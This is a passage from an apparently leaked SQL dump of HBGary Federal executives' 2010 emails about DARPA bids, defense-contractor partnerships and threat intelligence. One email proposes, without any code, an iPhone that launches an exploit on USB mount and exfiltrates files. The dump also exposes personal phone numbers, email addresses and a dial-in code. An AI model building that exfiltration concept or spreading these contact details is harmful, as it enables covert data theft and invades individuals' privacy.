it has a place for a belief network function to deliver probabilities based on association of information, weighted factors based on reputation values, etc.\r\n1st task seems like a combination of attributes assigned to digital artifacts first whether or not lineage can be determined.  To determine lineage I am thinking about an appliance on the perimeter as well as host agents that feed trait data on digital artifacts as they are created, used, transmitted, deleted, etc.\r\nThe award for this BAA is in June, if it doesn&#39;t happen for some other contract before, if we win this one we would like to bring you both on for it.Aaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2607,'aaron_hbgary_com/2607.html'),(2533,'2010-02-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001187.M521776P3547Q2533.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: DARPA BAA','From my iPhoneBegin forwarded message:From: Jeff m &lt;jeffmac710@gmail.com&gt;\r\nDate: February 11, 2010 7:36:04 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: DARPA BAA\r\nIt sounds very similar to a problem I worked a while back.  The idea is one would use data mining to create groupings of the data and the groups would then feed a belief network.  The belief network would then analyze the data and give reports/status on the system/network.  The thing is that the darpa request wants to be able to identify unknown behavior.  This would require an extra step to trend the data and identify anomolies.  These anomolies would be categorized as unknown/safe, unknown/unknown, and unknown/dangerous.  The determination on the unknown state would be based on boundary conditions.  Anyway, some thoughts on that.  I can go into more if you want.\r\n\r\n\r\n \r\njeff\r\nOn Thu, Feb 11, 2010 at 10:49 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0 \r\n\r\nThe file is too big to send...above is the link.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 11, 2010, at 11:22 AM, Jeff m wrote:\r\n\r\nIs there supposed to be an attachment?  It sounds interesting enough but without a description of the problem space I can&#39;t really comment on the ideal technologies to solve this problem.\r\n \r\njeff\r\nOn Thu, Feb 11, 2010 at 9:09 AM, Aaron Barr &lt;adbarr@me.com&gt; wrote:\r\n\r\nwrong address\r\n\r\nBegin forwarded message:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nDate: February 11, 2010 11:09:10 AM EST\r\n\r\n\r\nTo: Mark Trynor &lt;mark.trynor@gmail.com&gt;, Jeff McCartney &lt;mccartney7595@adelphia.net&gt;\r\n\r\n\r\nCc: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\nSubject: DARPA BAA\r\nhey guys,I would love to get your thoughts on the technical areas in the BAA.Jeff, the 2nd task seems like it has a place for a belief network function to deliver probabilities based on association of information, weighted factors based on reputation values, etc.\r\n\r\n1st task seems like a combination of attributes assigned to digital artifacts first whether or not lineage can be determined.  To determine lineage I am thinking about an appliance on the perimeter as well as host agents that feed trait data on digital artifacts as they are created, used, transmitted, deleted, etc.\r\n\r\nThe award for this BAA is in June, if it doesn&#39;t happen for some other contract before, if we win this one we would like to bring you both on for it.Aaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',16373,'aaron_hbgary_com/16373.html'),(2534,'2010-02-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001187.M782644P3547Q2534.eml','\"Penny Leavy\" <penny@hbgary.com>','Are u going to be at Fidelis?','Wasn\'t sure.  I am having lunch with Nolan right after at a very good Indian restaurant near there.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6852,'aaron_hbgary_com/6852.html'),(2535,'2010-02-12','\"Nolan Clifford\" <nolan@informationsecuritysolutionsllc.com>','/aaron@hbgary.com/new/1297001188.M15563P3547Q2535.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Lunch With Nolan','BEGIN:VCALENDAR\r\nPRODID:-//Microsoft Corporation//Outlook 11.0 MIMEDIR//EN\r\nVERSION:2.0\r\nMETHOD:REPLY\r\nBEGIN:VEVENT\r\nORGANIZER:MAILTO:aaron@hbgary.com\r\nDTSTART:20100212T170000Z\r\nDTEND:20100212T180000Z\r\nLOCATION:Haandi 4904 Fairmont Ave.  Bethesda\\, MD\r\nTRANSP:OPAQUE\r\nSEQUENCE:9\r\nUID:B702170A-6A35-4F01-BEE5-529642DA007B\r\nDTSTAMP:20100212T032253Z\r\nSUMMARY:Accepted: Lunch With Nolan\r\nPRIORITY:5\r\nX-MICROSOFT-CDO-IMPORTANCE:1\r\nCLASS:PUBLIC\r\nATTENDEE;PARTSTAT=ACCEPTED:MAILTO:nolan@informationsecuritysolutionsllc.com\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n\r\n',10883,'aaron_hbgary_com/10883.html'),(2536,'2010-02-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001188.M224802P3547Q2536.eml','\"Jonathan George\" <jonathan.k.george@gmail.com>','Skillz','Hey Jonathan,\r\n\r\nJust to get an idea.  How low can you go?  In reference to coding.  Have you ever looked at any reverse engineering?  Malware analysis?  Incident Response?\r\n\r\nTake a look at the BAA.\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=c34caee99a41eb14d4ca81949d4f2fde&tab=core&_cview=0\r\n\r\nI could have coffee in the morning or meet Monday morning?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15862,'aaron_hbgary_com/15862.html'),(2537,'2010-02-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001188.M443186P3547Q2537.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Time to talk tomorrow?','Chris,\r\n\r\nDo you guys want to get together on the phone tomorrow?  Since my week was all messed up I have some things that have piled up tomorrow but have some time in the morning and after 4pm EST.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16643,'aaron_hbgary_com/16643.html'),(2538,'2010-02-12','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001188.M699085P3547Q2538.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Time to talk tomorrow?','Hi Aaron,\r\n\r\nI had penciled in 1 p.m. EST tomorrow.  Is this no longer possible?\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, February 11, 2010 10:30 PM\r\nTo: Starr, Christopher H.\r\nSubject: Time to talk tomorrow?\r\n\r\nChris,\r\n\r\nDo you guys want to get together on the phone tomorrow?  Since my week\r\nwas all messed up I have some things that have piled up tomorrow but\r\nhave some time in the morning and after 4pm EST.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14210,'aaron_hbgary_com/14210.html'),(2539,'2010-02-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001188.M882071P3547Q2539.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: Time to talk tomorrow?','Nope I will make that work, just cut my 12pm off right at 1pm.\r\n\r\nTalk to you then.\r\n\r\nAaron\r\n\r\nOn Feb 11, 2010, at 10:30 PM, Starr, Christopher H. wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> I had penciled in 1 p.m. EST tomorrow.  Is this no longer possible?\r\n> \r\n> Chris\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, February 11, 2010 10:30 PM\r\n> To: Starr, Christopher H.\r\n> Subject: Time to talk tomorrow?\r\n> \r\n> Chris,\r\n> \r\n> Do you guys want to get together on the phone tomorrow?  Since my week\r\n> was all messed up I have some things that have piled up tomorrow but\r\n> have some time in the morning and after 4pm EST.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14246,'aaron_hbgary_com/14246.html'),(2540,'2010-02-12','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001189.M107914P3547Q2540.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Time to talk tomorrow?','Aaron,\r\n\r\nThanks.  I will send out an invite with dial-in by tomorrow morning.\r\n\r\nChris\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, February 11, 2010 10:33 PM\r\nTo: Starr, Christopher H.\r\nSubject: Re: Time to talk tomorrow?\r\n\r\nNope I will make that work, just cut my 12pm off right at 1pm.\r\n\r\nTalk to you then.\r\n\r\nAaron\r\n\r\nOn Feb 11, 2010, at 10:30 PM, Starr, Christopher H. wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> I had penciled in 1 p.m. EST tomorrow.  Is this no longer possible?\r\n> \r\n> Chris\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, February 11, 2010 10:30 PM\r\n> To: Starr, Christopher H.\r\n> Subject: Time to talk tomorrow?\r\n> \r\n> Chris,\r\n> \r\n> Do you guys want to get together on the phone tomorrow?  Since my week\r\n> was all messed up I have some things that have piled up tomorrow but\r\n> have some time in the morning and after 4pm EST.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13341,'aaron_hbgary_com/13341.html'),(2541,'2010-02-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001189.M302040P3547Q2541.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: Time to talk tomorrow?','Ted and I are coming out to Sacramento at the end of the month and would like to get together with folks out there to discuss the BAA, future development tasks, other potential partnerships, and a few other items.\r\n\r\nAaron\r\n\r\nOn Feb 11, 2010, at 10:32 PM, Starr, Christopher H. wrote:\r\n\r\n> Aaron,\r\n> \r\n> Thanks.  I will send out an invite with dial-in by tomorrow morning.\r\n> \r\n> Chris\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, February 11, 2010 10:33 PM\r\n> To: Starr, Christopher H.\r\n> Subject: Re: Time to talk tomorrow?\r\n> \r\n> Nope I will make that work, just cut my 12pm off right at 1pm.\r\n> \r\n> Talk to you then.\r\n> \r\n> Aaron\r\n> \r\n> On Feb 11, 2010, at 10:30 PM, Starr, Christopher H. wrote:\r\n> \r\n>> Hi Aaron,\r\n>> \r\n>> I had penciled in 1 p.m. EST tomorrow.  Is this no longer possible?\r\n>> \r\n>> Chris\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Thursday, February 11, 2010 10:30 PM\r\n>> To: Starr, Christopher H.\r\n>> Subject: Time to talk tomorrow?\r\n>> \r\n>> Chris,\r\n>> \r\n>> Do you guys want to get together on the phone tomorrow?  Since my week\r\n>> was all messed up I have some things that have piled up tomorrow but\r\n>> have some time in the morning and after 4pm EST.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2461,'aaron_hbgary_com/2461.html'),(2542,'2010-02-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001189.M504066P3547Q2542.eml','\"Barr Aaron\" <aaron@hbgary.com>','GD Notes','2/11/2010\r\n\r\nScott\r\nMartin\r\nTed\r\n\r\nTask B is the currently funded task.  All of the original Task B work\r\nwas completed by Martin.  This is a follow-on effort.\r\nCustomer wanted software updates/modification and to be ported from\r\nWin XP SP2 to several other OSs, both 32 and 64 bit.\r\n\r\nMartin has completed the updates to the original code and delivered it\r\nlast week, GD successfully demo\'d it.\r\n\r\nThe porting activity was subcontracted to Clearhat consulting.  They\r\ncompleted the 32 bit port, working the 64 bit port now.\r\n\r\nMartin has completed 98% of his portion of the development.  Once\r\nClearhat delivers their code, Martin will need to integrate, test and\r\ndocument it.\r\n\r\nDue on 3/1/2010 -- Martin needs\r\n1 full day testing\r\n1 full day delivery\r\n1 full day bug fixes\r\n\r\nBill Thompson would like to have weekly updates - we haven\'t been\r\ndoing that.  Scott to send one this week.\r\n\r\nWhen wrapping up task B(1) & C, they were providing weekly updates via\r\nemail. (good)\r\n\r\nGD likes us because we can do things they can\'t, and we are quick.\r\nMartin expects to have enough funding available on this task to\r\nexplore GD\'s interest in ipod and PS3.\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',11075,'aaron_hbgary_com/11075.html'),(2543,'2010-02-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001189.M767069P3547Q2543.eml','\"Barr Aaron\" <aaron@hbgary.com>','Ping','Got this from Kevin @ MacB:\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Kevin L Keathley \r\nDate: Thu, Feb 11, 2010 at 8:41 PM\r\nSubject: Re: Ping\r\nTo: Ted Vera \r\n\r\n\r\nHey Ted,\r\n I\'m sorry it took so long to get back to you.  I\'ve been on base all\r\nday and then had to take care of some other things after I left.  I\r\ndidn\'t get finished with everything else until just now.  Yeah, you\'ve\r\nbeen really helpful and threw some awesome material our way.  Dan Willis\r\nsaid he got copies as well and I passed the password onto him so he\r\ncould access the protected files.  Our prop folks are working to take\r\neverything (procedure, experience, goals) and make it a single flowing\r\nstory.\r\n\r\n We\'ve got another meeting tomorrow to go over additions and revisions\r\nso I\'ll have a better idea how everything is flowing together then.  I\r\nthink everyone\'s been pretty happy about how the information is coming\r\ntogether so far.  I know I personally appreciate the help and material\r\nyou\'ve provided.\r\n\r\nThanks,\r\n\r\n-=[Kevin]=-\r\n',5183,'aaron_hbgary_com/5183.html'),(2544,'2010-02-12','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001189.M974657P3547Q2544.eml','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Harbison, Michael J.\" <Michael.Harbison@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,\"Raygoza, Daniel\" <Daniel.Raygoza@gd-ais.com>,\"Bojaxhi, Hermes\" <Hermes.Bojaxhi@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Harbison, Michael J.\" <Michael.Harbison@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,\"Raygoza, Daniel\" <Daniel.Raygoza@gd-ais.com>','GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA','\r\n\r\n\r\n\r\n\r\nGD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\n\r\n\r\n\r\nWhen: Friday, February 12, 2010 1:00 PM-2:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nGD &amp; HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n\r\n866-765-5631, code 5057292#\r\n\r\n\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Initial technical interchange between HBGary and GD on innovative technical ideas for the DARPA Cyber Genome BAA\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Aaron Barr, CEO of HBGary Federal, will share his initial idea interchange with Greg Hoglund, CEO and founder of HBGary\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Greg Hoglund is expected to join follow-up discussions with us early next week\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; We will also touch on\r\n\r\no&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GD / HBGary teaming approach\r\n\r\n&#167;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Who primes what\r\n\r\n&#167;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Templates for establishing teaming agreements\r\n\r\no&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Customer and competitive intelligence\r\n\r\n\r\n\r\nQuestions? Contact:\r\n\r\nChris Starr, 571-216-6140, Chris.Starr@gd-ais.com\r\n\r\n\r\n',10818,'aaron_hbgary_com/10818.html'),(2545,'2010-02-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001190.M151140P3547Q2545.eml','\"Barr Aaron\" <aaron@hbgary.com>','iPhone App','Wonder if we could make a special purpose iPhone app:\r\n\r\n1. Plug in iphone to USB on desktop or laptop. Launch sploit upon mount.\r\n2. App on iPhone let\'s you walk filesystem, automatically searches for\r\ncertain files, exfils, etc...\r\n3. Or it could be a legit forensic tool, bootable os with tools, data\r\ngathering, etc...\r\n',2203,'aaron_hbgary_com/2203.html'),(2546,'2010-02-12','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001190.M363820P3547Q2546.eml','\"Aaron Barr\" <aaron@hbgary.com>','Next week','\r\n\r\n\r\n\r\n\r\nNext week\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nCould you come to Cinci next week to get this all planned out?&nbsp; I was thinking Thursday afternoon.\r\n\r\nI am trying to get the IG guys there.&nbsp; Our guys will be back from Palantir training and your place.&nbsp; Hopefully, we will have your HBGary tools and Palantir installed by then.&nbsp; And, we will have the EndGame data.&nbsp; We can throw all that on the table and figure out the plan to get demo/integration stages identified.&nbsp; Also, we can get with Bill to get an MOU hammered out and finalize what funding to get you.\r\n\r\nAlso, I am trying to get EndGame up to Cinci on Friday to brief our program teams and talk partnership.\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',8401,'aaron_hbgary_com/8401.html'),(2547,'2010-02-12','\"Jonathan George\" <jonathan.k.george@gmail.com>','/aaron@hbgary.com/new/1297001190.M625623P3547Q2547.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Skillz','Aaron,Let&#39;s plan on coffee Monday morning. How does the Starbucks in Tyson&#39;s off of 7 sound?My strengths are in application development. I&#39;ve done a bit of reversing but only to interface to applications. I&#39;ve also done a little low level development on real time embedded systems.\r\nThe BAA reads like it was written for Digital DNA.JonathanOn Thu, Feb 11, 2010 at 10:27 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHey Jonathan,\r\n\r\nJust to get an idea.  How low can you go?  In reference to coding.  Have you ever looked at any reverse engineering?  Malware analysis?  Incident Response?\r\n\r\nTake a look at the BAA.\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=c34caee99a41eb14d4ca81949d4f2fde&amp;tab=core&amp;_cview=0\r\n\r\n\r\nI could have coffee in the morning or meet Monday morning?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',1132,'aaron_hbgary_com/1132.html'),(2548,'2010-02-12','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001191.M14316P3547Q2548.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Next week','\r\n\r\n\r\n\r\n\r\nRE: Next week\r\n\r\n\r\n\r\n\r\nAnd finalize DARPA\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Friday, February 12, 2010 7:55 AM\r\nTo: Aaron Barr\r\nSubject: Next week\r\n\r\n\r\n\r\nAaron,\r\n\r\nCould you come to Cinci next week to get this all planned out?&nbsp; I was thinking Thursday afternoon.\r\n\r\nI am trying to get the IG guys there.&nbsp; Our guys will be back from Palantir training and your place.&nbsp; Hopefully, we will have your HBGary tools and Palantir installed by then.&nbsp; And, we will have the EndGame data.&nbsp; We can throw all that on the table and figure out the plan to get demo/integration stages identified.&nbsp; Also, we can get with Bill to get an MOU hammered out and finalize what funding to get you.\r\n\r\nAlso, I am trying to get EndGame up to Cinci on Friday to brief our program teams and talk partnership.\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',5464,'aaron_hbgary_com/5464.html'),(2549,'2010-02-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001191.M348066P3547Q2549.eml','\"Ted Vera\" <ted@hbgary.com>','Re: iPhone App','thats a cool idea...both of them.\r\n\r\nOn Feb 12, 2010, at 2:35 AM, Ted Vera wrote:\r\n\r\n> Wonder if we could make a special purpose iPhone app:\r\n> \r\n> 1. Plug in iphone to USB on desktop or laptop. Launch sploit upon mount.\r\n> 2. App on iPhone let\'s you walk filesystem, automatically searches for\r\n> certain files, exfils, etc...\r\n> 3. Or it could be a legit forensic tool, bootable os with tools, data\r\n> gathering, etc...\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8439,'aaron_hbgary_com/8439.html'),(2550,'2010-02-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001191.M545903P3547Q2550.eml','jonathan.k.george@gmail.com','Re: Skillz','Sounds good. &nbsp;I am free until 11am, so 9am good?AaronOn Feb 12, 2010, at 8:08 AM, Jonathan George wrote:Aaron,Let\'s plan on coffee Monday morning. How does the Starbucks in Tyson\'s off of 7 sound?My strengths are in application development. I\'ve done a bit of reversing but only to interface to applications. I\'ve also done a little low level development on real time embedded systems.\r\nThe BAA reads like it was written for Digital DNA.JonathanOn Thu, Feb 11, 2010 at 10:27 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHey Jonathan,\r\n\r\nJust to get an idea. &nbsp;How low can you go? &nbsp;In reference to coding. &nbsp;Have you ever looked at any reverse engineering? &nbsp;Malware analysis? &nbsp;Incident Response?\r\n\r\nTake a look at the BAA.\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=c34caee99a41eb14d4ca81949d4f2fde&amp;tab=core&amp;_cview=0\r\n\r\n\r\nI could have coffee in the morning or meet Monday morning?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10775,'aaron_hbgary_com/10775.html'),(2551,'2010-02-12','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','/aaron@hbgary.com/new/1297001191.M788055P3547Q2551.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Snow predicted for Monday','Call me when you get a min.  Can you send me your phone numbers as well?\r\n\r\nbillt\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, February 11, 2010 6:12 PM\r\nTo: Thompson, Bill (Xetron)\r\nSubject: Re: Snow predicted for Monday\r\n\r\nAny luck.  Or is mtg still tomorrow?\r\n\r\n From my iPhone\r\n\r\nOn Feb 11, 2010, at 4:33 PM, \"Thompson, Bill (Xetron)\"\r\n wrote:\r\n\r\n> How much?  I am shooting for a 2:30 meeting.\r\n>\r\n> billt\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, February 11, 2010 4:26 PM\r\n> To: Thompson, Bill (Xetron)\r\n> Subject: Snow predicted for Monday\r\n>\r\n> Wanted to make you aware.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',8118,'aaron_hbgary_com/8118.html'),(2552,'2010-02-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001191.M990150P3547Q2552.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Initial Meeting with Scott on Risk Intelligence','Greg,\r\n\r\nNG is going to fund the integration of capabilities for a Threat Intelligence center.  When you come up for air I would like to get some feedback on what you want me to share and not share related to some of the concepts you wrote up for the threat management center.\r\n\r\nThe way I see it.  Responder, DDNA, Active Defense will play fundamental roles, and NG can pay for the integration of them with other intelligence and security based products.\r\n\r\nThoughts?\r\nAaron\r\n\r\nOn Jan 4, 2010, at 6:44 PM, Greg Hoglund wrote:\r\n\r\n>  \r\n> Team,\r\n>  \r\n> I spent about two hours with Scott today and covered three presentations I have on risk intel.  These three are attached, and most have been mailed out before.\r\n>  \r\n> Summary:\r\n> We are working out the cost and engineering time requirements for a \"Phase 1\" TMC here at HBGary in Sac.  It will include:\r\n>  \r\n> - a replication of the feed processor on site, that mirrors the one we keep in the data center\r\n> - a second clone of this feed processor that, once operational, will by physically delivered to Ted in the Springs.\r\n> - potentially, the purchase of one copy of i2 analyst notebook ($4000) for use in the Sac TMC\r\n> - an analyst workstation, with a connected flat screen on the second monitor, that is mounted on the wall\r\n> - our source feed will be the one we currently purchase that aggregates shadowserver / etc.\r\n>  \r\n> From an analyst perspective, we are going to identify the malware major distribution systems currently in play (botnets/web/spam).  We are going to codify these to digital DNA.  We are going to use link analysis to attempt to identify threat actors and their intents (see \"ops path\" in the slide deck).  We are going to include meta data as well as traits in the digital DNA genome that HBGary sells as subscription.  We don\'t have exact dates, but I fully expect phase 1 to carry out into Q2.\r\n>  \r\n> -Greg\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13622,'aaron_hbgary_com/13622.html'),(2553,'2010-02-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001192.M626518P3547Q2553.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Fwd: interested in any of these samples?','Brian,\r\n\r\nThis was I believe a response to a request for malware/payload.  I think I sent it to you a while back but just checking.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Greg Hoglund \r\n> Date: January 22, 2010 1:49:17 PM EST\r\n> To: Aaron Barr , Ted Vera , Phil Wallisch , rich@hbgary.com\r\n> Subject: interested in any of these samples?\r\n> \r\n> attached is a list of samples we are using in th QA lab.  These all dropped in the last 72 hours.\r\n>  \r\n> Interested in any?\r\n>  \r\n> -Greg\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14155,'aaron_hbgary_com/14155.html'),(2554,'2010-02-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001192.M891397P3547Q2554.eml','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','Re: Snow predicted for Monday','7195108478\r\n\r\nAaron\r\n\r\n\r\nOn Feb 12, 2010, at 8:35 AM, Thompson, Bill (Xetron) wrote:\r\n\r\n> Call me when you get a min.  Can you send me your phone numbers as well?\r\n> \r\n> billt\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, February 11, 2010 6:12 PM\r\n> To: Thompson, Bill (Xetron)\r\n> Subject: Re: Snow predicted for Monday\r\n> \r\n> Any luck.  Or is mtg still tomorrow?\r\n> \r\n> From my iPhone\r\n> \r\n> On Feb 11, 2010, at 4:33 PM, \"Thompson, Bill (Xetron)\"\r\n> > wrote:\r\n> \r\n>> How much?  I am shooting for a 2:30 meeting.\r\n>> \r\n>> billt\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Thursday, February 11, 2010 4:26 PM\r\n>> To: Thompson, Bill (Xetron)\r\n>> Subject: Snow predicted for Monday\r\n>> \r\n>> Wanted to make you aware.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4414,'aaron_hbgary_com/4414.html'),(2555,'2010-02-12','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297001193.M123173P3547Q2555.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>,\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,\"Jadik, John\" <john.jadik@ngc.com>,\"Armitage, James L.\" <james.armitage@ngc.com>,\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>,\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>,\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,\"Jadik, John\" <john.jadik@ngc.com>','RE: HBGary/NGES meeting  -- Another possible change in 